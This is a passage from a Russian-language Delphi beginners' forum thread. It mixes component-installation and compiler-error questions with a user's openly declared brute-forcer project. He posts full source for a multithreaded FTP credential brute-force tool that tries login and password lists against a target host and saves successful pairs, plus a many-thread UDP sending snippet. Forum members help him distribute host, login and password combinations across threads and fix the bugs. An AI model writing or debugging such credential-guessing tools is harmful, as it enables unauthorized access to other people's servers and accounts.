[ Delphi / Pascal ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by begin_end, 28 Apr 2015.

  1. #colorblind

    #colorblind Moderator

    Joined:
    31 Jan 2014
    Messages:
    631
    Likes Received:
    245
    Reputations:
    42
    Как начнешь САМ писать код и возникнут проблемы, так тебе и помогут. А пока можешь обратиться в раздел о работе ;-)
     
    binarymaster likes this.
    1. Artist666

      Artist666 Member

      Joined:
      24 Nov 2015
      Messages:
      100
      Likes Received:
      7
      Reputations:
      0
      Дак я же в самом начале написал, у кого есть. )
      Спасибо. )
       
      1. Artist666

        Artist666 Member

        Joined:
        24 Nov 2015
        Messages:
        100
        Likes Received:
        7
        Reputations:
        0
        П.с. Конченный хостинг, скачать невозможно, только рекламы насмотрелся...
         
        1. Artist666

          Artist666 Member

          Joined:
          24 Nov 2015
          Messages:
          100
          Likes Received:
          7
          Reputations:
          0
          Как пропатчить?

          tb2k-2.2.2.zip
          TBX(github) и в нём патч для tb2k-2.2.2, в папке tools\TB2k Patch

          Его что, нужно устанавливать?
          [​IMG]

          Это походу нужно просто закинуть в папку \tb2k\Packages, но зачем тут exe'шники?
          [​IMG]

          Патчатся же исходники, которые лежат в \tb2k\Source.

          Да и наверное для патча батник нужен...
          Потому как ничего не происходит ни при его запуске, ни при перетаскивании на него diff.txt.
           
          1. Artist666

            Artist666 Member

            Joined:
            24 Nov 2015
            Messages:
            100
            Likes Received:
            7
            Reputations:
            0
            Да, надо было сначала прочитать инструкцию от автора...
            Всё пропатчил и установил.
             
            1. triblekill

              triblekill Member

              Joined:
              21 Aug 2011
              Messages:
              351
              Likes Received:
              94
              Reputations:
              1
              Здравствуйте, как в многопоточном приложении работать с двумя или тремя разными открываемыми файлами

              PHP:
              var
              loginspass,hosts:Tstringlist;
              ...
              while 
              work do begin
                  CS
              .Enter;
                  
              Inc(int);
                  if 
              int<pass.Count then intpass:=Int else Work:=False;
              ...
              http.host:=host[hst];
              http.login:=logins[log];
              http.Password:=pass[intpass];

              Например так с одним, а если например открываем отдельно логин, отдельно пароль и отдельно хост то как ? Вроде бы в потоке нельзя цикл for чтобы инициализировать переменную ?
               
              #286 triblekill, 12 Oct 2017
              Last edited: 12 Oct 2017
              1. #colorblind

                #colorblind Moderator

                Joined:
                31 Jan 2014
                Messages:
                631
                Likes Received:
                245
                Reputations:
                42
                Не совсем понял, в чем состоит вопрос. У тебя в 3 разных файлах содержатся хосты, логины и пароли и тебе нужно их синхронизировать 1-1-1 или 1-все-все? У тебя брут или чекер?
                 
                1. triblekill

                  triblekill Member

                  Joined:
                  21 Aug 2011
                  Messages:
                  351
                  Likes Received:
                  94
                  Reputations:
                  1
                  Брут, а синхронизировать нужно все-все-все то есть я выбираю каждым файлом отдельно логины, отдельно пароли и отдельно хосты помоги если чем сможешь
                   
                  1. Artist666

                    Artist666 Member

                    Joined:
                    24 Nov 2015
                    Messages:
                    100
                    Likes Received:
                    7
                    Reputations:
                    0
                    Delphi. Внутренняя ошибка F2084

                    Устанавливаю компонент.

                    SpTBXLib_d14.dpk
                    Собрал, скомпилировал - всё ок(исправил кучу ошибок сначала).

                    Начинаю собирать:
                    SpTBXLibDsgn_d14.dpk

                    Вылезает 1 ошибка:
                    [DCC Fatal Error] SpTBXReg.pas(42): F2084 Internal Error: U2186

                    Из SpTBXReg.pas - 5я строка, начиная с SpTBXItem:
                    Code:
                    uses
                      Windows, Classes, Controls, SysUtils, Graphics, ImgList, Dialogs,
                      DesignIntf, DesignEditors, VCLEditors, TB2Reg,
                      TB2Toolbar, TB2Item, TB2DsgnItemEditor,
                      SpTBXItem, SpTBXTabs, SpTBXDkPanels, SpTBXFormPopupMenu, SpTBXControls,
                      SpTBXEditors, SpTBXExtEditors, SpTBXPageScroller, SpTBXCustomizer, SpTBXMDIMRU;
                    
                    Эти классы(файлы *.res) в папке sourse лежат.

                    И они прописаны в файле SpTBXLib_d14.dpk(который я успешно собрал и скомпилил перед этим):
                    Code:
                    contains
                      SpTBXItem in '..\Source\SpTBXItem.pas',
                      SpTBXControls in '..\Source\SpTBXControls.pas',
                      SpTBXTabs in '..\Source\SpTBXTabs.pas',
                      SpTBXDkPanels in '..\Source\SpTBXDkPanels.pas',
                      SpTBXEditors in '..\Source\SpTBXEditors.pas',
                      SpTBXExtEditors in '..\Source\SpTBXExtEditors.pas',
                      SpTBXColorPickerForm in '..\Source\SpTBXColorPickerForm.pas',
                      SpTBXMDIMRU in '..\Source\SpTBXMDIMRU.pas',
                      SpTBXFormPopupMenu in '..\Source\SpTBXFormPopupMenu.pas',
                      SpTBXCustomizer in '..\Source\SpTBXCustomizer.pas',
                      SpTBXCustomizerForm in '..\Source\SpTBXCustomizerForm.pas',
                      SpTBXPageScroller in '..\Source\SpTBXPageScroller.pas',
                      SpTBXSkins in '..\Source\SpTBXSkins.pas',
                      SpTBXDefaultSkins in '..\Source\SpTBXDefaultSkins.pas';
                    Читал, что в конце такой ошибки зашифровано имя файла и ошибка - U2186.
                    Как его расшифровать?

                    [​IMG]
                     
                    1. #colorblind

                      #colorblind Moderator

                      Joined:
                      31 Jan 2014
                      Messages:
                      631
                      Likes Received:
                      245
                      Reputations:
                      42
                      Ну это же обычная математика. Алгоритм простой: допустим у тебя по 5 строк в каждом файле, 5*5*5 = 125 комбинаций в общем, 125 делишь на количество потоков-1 и в одном потоке запускаешь остатки, в случае если общее число комбинаций не делится нацело. Если взять в расчет то, что какой-то потом быстрее остальных переберет свою часть и ты хочешь распределить на него нагрузку с еще непроверенных данных, то алгоритм будет немного сложнее и для простоты решения задачи, удобнее будет формировать единый список из всех файлов, а затем его обрабатывать в потоках. Если в голове сложно составить весь алгоритм, то моешь по-старинке, нарисовать на бумаге и исходя из него уже кодить)
                       
                      1. #colorblind

                        #colorblind Moderator

                        Joined:
                        31 Jan 2014
                        Messages:
                        631
                        Likes Received:
                        245
                        Reputations:
                        42
                        Компиль компоненты без оптимизации и устанавливай пакеты заново, говорят помогает. Project -> Options -> Compiler -> Code generation -> x Optimization
                         
                        Artist666 likes this.
                        1. triblekill

                          triblekill Member

                          Joined:
                          21 Aug 2011
                          Messages:
                          351
                          Likes Received:
                          94
                          Reputations:
                          1
                          Всё таки не понимаю до конца как условие правильно поставить например если с одним то Inc(pass) повышаем пароли на 1 каждый раз, а вот с несколькими как ? Можешь помочь примером хотя бы с двумя как делается лучше ?
                           
                          #292 triblekill, 13 Oct 2017
                          Last edited: 13 Oct 2017
                          1. Artist666

                            Artist666 Member

                            Joined:
                            24 Nov 2015
                            Messages:
                            100
                            Likes Received:
                            7
                            Reputations:
                            0
                            Всё, нашел косяк, либу переименовал, а тут в дпк старое имя стояло. ))
                            Скомпилил.

                            Остался 1 компонент из 11, ровно 2 недели уже устанавливаю их. :D

                            Кто знает, как так происходит?
                            Я меняю типы у функции в её объявлении, а в других файлах она как упоротая со старыми остаётся, да ещё и орёт: E2033 Types of actual and formal var parameters must be identical.

                            Функция объявляется в sciUtils.pas(Открыл в notepad++ все файлы компонента и поиском только тут выдало):

                            Вверху:
                            Code:
                            //Возвращает строку перед разделителем 'separator' и задает остальную часть строки в 'S'.
                            function WordBefore(var S: AnsiString; const Separator: AnsiChar): AnsiString;
                            И потом ниже:
                            Code:
                            //Извлекает строку от начала до 'separator'. Возвращает это значение и задает остальную часть строки в 's'
                            function WordBefore(var S: AnsiString; const Separator: AnsiChar): AnsiString;
                            var
                              I: Integer;
                            begin
                              I := Pos(Separator, S);
                              if I <> 0 then
                              begin
                                Result := Copy(S, 1, I - 1);
                                Delete(S, 1, I);
                              end else
                              begin
                                Result := S;
                                S := '';
                              end;
                            end;
                            Значит я меняю и тут и там AnsiString на WideString, AnsiChar на WideChar.
                            Сохранил. И закрыл/открыл проект. И RAD перезапустил. И "clear" жал в Project Manager на dpk.
                            И всё равно эта скотина мне говорит, что там Ansi.

                            [​IMG]
                             
                            #293 Artist666, 13 Oct 2017
                            Last edited: 13 Oct 2017
                            1. triblekill

                              triblekill Member

                              Joined:
                              21 Aug 2011
                              Messages:
                              351
                              Likes Received:
                              94
                              Reputations:
                              1
                              Почему ловлю Access violation address ?

                              Code:
                              procedure TForm1.Button2Click(Sender: TObject);
                              begin
                                Work:=True;
                                for Thread:=0 to 50 do
                                begin
                                  th.Create(false);
                                end;
                                end;
                              
                              
                              procedure th.Execute;
                              var
                              str:string;
                              UDP:TUDPBlockSocket;
                              begin
                                while work do begin
                                  CS.Enter;
                                  end;
                                  Cs.Leave;
                                  if work then begin
                                  UDP:=TUDPBlockSocket.Create;
                                  UDP.Connect(ip,port);
                                  UDP.SendString('Sonic');
                                 end;
                               
                              1. #colorblind

                                #colorblind Moderator

                                Joined:
                                31 Jan 2014
                                Messages:
                                631
                                Likes Received:
                                245
                                Reputations:
                                42
                                Мало данных, возможно бьются какие-то указатели. У тебя очень извращенский метод работы с потоками через критические секции. Посмотри скомпиленый семпл под отладчиком и узнаешь
                                 
                                binarymaster likes this.
                                1. triblekill

                                  triblekill Member

                                  Joined:
                                  21 Aug 2011
                                  Messages:
                                  351
                                  Likes Received:
                                  94
                                  Reputations:
                                  1
                                  А ты бы хотел чтобы больше данных было ?
                                   
                                  1. binarymaster

                                    binarymaster Elder - Старейшина

                                    Joined:
                                    11 Dec 2010
                                    Messages:
                                    4,717
                                    Likes Received:
                                    10,195
                                    Reputations:
                                    126
                                    Чтобы меньше извращений было, и больше понимания кода.

                                    Только вот как этого добиться...
                                     
                                    #colorblind likes this.
                                    1. triblekill

                                      triblekill Member

                                      Joined:
                                      21 Aug 2011
                                      Messages:
                                      351
                                      Likes Received:
                                      94
                                      Reputations:
                                      1
                                      Пишу маленький брут FTP

                                      Code:
                                      unit Unit1;
                                      
                                      interface
                                      
                                      uses
                                        Windows, Messages, SysUtils, Variants, Graphics, Forms, syncobjs,
                                        Dialogs, StdCtrls, Controls, Classes, FTPSend;
                                      
                                      type
                                        TForm1 = class(TForm)
                                          Button1: TButton;
                                          Memo1: TMemo;
                                          Button2: TButton;
                                          Button3: TButton;
                                          OpenDialog1: TOpenDialog;
                                          Edit1: TEdit;
                                          Edit2: TEdit;
                                          Button4: TButton;
                                          Label1: TLabel;
                                          Edit3: TEdit;
                                          Memo2: TMemo;
                                          Label2: TLabel;
                                          procedure FormCreate(Sender: TObject);
                                          procedure Button1Click(Sender: TObject);
                                          procedure Button2Click(Sender: TObject);
                                          procedure Button4Click(Sender: TObject);
                                          procedure Button3Click(Sender: TObject);
                                        private
                                          { Private declarations }
                                        public
                                          { Public declarations }
                                        end;
                                      
                                      type th = class(TThread)
                                        private
                                          rez: integer;
                                        public
                                          ftp: tftpsend;
                                          procedure sync;
                                        protected
                                          procedure Execute; Override;
                                      end;
                                      
                                      var
                                        Form1: TForm1;
                                        logins,pass: tstringlist;
                                        log, pas, proxy: integer;
                                        work: boolean;
                                        cs: tcriticalsection;
                                        good: textfile;
                                      
                                      implementation
                                      
                                      {$R *.dfm}
                                      
                                      procedure TForm1.Button1Click(Sender: TObject);
                                      begin
                                      if opendialog1.Execute then
                                      begin
                                        logins.Clear;
                                        logins.LoadFromFile(opendialog1.FileName);
                                      end;
                                      end;
                                      
                                      procedure TForm1.Button2Click(Sender: TObject);
                                      var
                                      Thread:integer;
                                      begin
                                      if (pass.Count<>0) and (logins.count<>0) then
                                      begin
                                        Work:=True;
                                        for Thread:=0 to strtoint(Edit3.text) do
                                          th.Create(false);
                                        end;
                                      end;
                                      
                                      procedure th.Execute;
                                      begin
                                        while work do begin
                                        CS.Enter;
                                      
                                        if pas=pass.count-1 then begin
                                          inc(log);
                                          pas:=proxy;
                                          end;
                                          if log=logins.Count-1 then work:=false;
                                          Inc(pas);
                                          Cs.Leave;
                                      
                                          if work then begin
                                              ftp:=tftpsend.Create;
                                              FTP.TargetHost:=form1.Edit1.text;
                                              FTP.TargetPort:=form1.Edit2.text;
                                              FTP.UserName:=logins[log];
                                              FTP.Password:=pass[pas];
                                      
                                            if FTP.Login then begin
                                              rez:=1;
                                            end
                                            else begin Rez:=-1;
                                            end;
                                            ftp.Free;
                                            Synchronize(Sync);
                                          end
                                      end;
                                          end;
                                      
                                      
                                      
                                      
                                      procedure th.sync;
                                      var
                                      i:integer;
                                      begin
                                        case rez of
                                          1:begin
                                            Form1.Memo2.Lines.Add(logins[log]+':'+pass[pas]);
                                            i:=0;
                                            inc(i);
                                            Form1.Label2.caption:=inttostr(i);
                                            Form1.Memo2.Lines.SaveToFile(ExtractFilePath('GOOD.txt'));
                                      
                                      
                                          end;
                                          -1:begin
                                            Form1.Memo1.Lines.Add(logins[log]+':'+pass[pas]+'  Login incorrect.')
                                          end;
                                        end;
                                      end;
                                      
                                      procedure TForm1.FormCreate(Sender: TObject);
                                      begin
                                      logins:=tstringlist.Create;
                                      pass:=tstringlist.Create;
                                      cs:=tcriticalsection.Create;
                                      end;
                                      
                                      procedure TForm1.Button4Click(Sender: TObject);
                                      begin
                                      if opendialog1.Execute then
                                      begin
                                        pass.Clear;
                                        pass.LoadFromFile(opendialog1.FileName);
                                      end;
                                         end;
                                      
                                      procedure TForm1.Button3Click(Sender: TObject);
                                      begin
                                      work:=false;
                                      end;
                                      
                                      end.
                                      Понять не могу то пропускает некоторые пароли из файла то перебираются по 2 одинаковых пароля
                                       
                                      1. DartPhoenix

                                        DartPhoenix Elder - Старейшина

                                        Joined:
                                        15 Sep 2013
                                        Messages:
                                        1,078
                                        Likes Received:
                                        8,108
                                        Reputations:
                                        25
                                        Кодес не читал. Там что-то страшное...
                                        Вот какая штука: тебе нужно брать записи из memo разными потоками ?
                                        Значит проще всего сделать соответствующее свойство при чтении из списка в котором

                                        ===========================
                                        * производить блокировку списка
                                        * сохранение прочитанного в Result
                                        * удаление прочитанного элемента
                                        * разблокировку списка
                                        ===========================

                                        И читать из любого угодного тебе треда.
                                        Тогда вопрос "почему читаются два одинаковых" уже стоять не будет.
                                        Будет стоять вопрос почему один и тот же поток два раза выполняется... если вообще будет ошибка.

                                        Пытаться заставить заработать текущий кодес ИМХО ведет к закреплению собцтвенной ошибки и развитию плохого стиля.
                                         
                                        1. spiner

                                          spiner Member

                                          Joined:
                                          8 Jul 2015
                                          Messages:
                                          74
                                          Likes Received:
                                          56
                                          Reputations:
                                          4
                                          То, что бросается сразу в глаза:
                                          1. Переменную pas (которая, как я понял содержит в себе номер текущего пароля в списке) надо бы сделать локальной для потока и внутри TThread.Execute перебирать циклом каждый пароль к отдельно взятому логину.
                                          2. Что за переменная proxy и где происходит её инициализация? Это может сыграть злую шутку в случае, если программа зарезервирует под неё неосвобожденную область в памяти: например, там будет храниться число 5000, а у тебя паролей всего 300 в файле - поток упадет при попытке взять с TStringList значение под индексом 5000.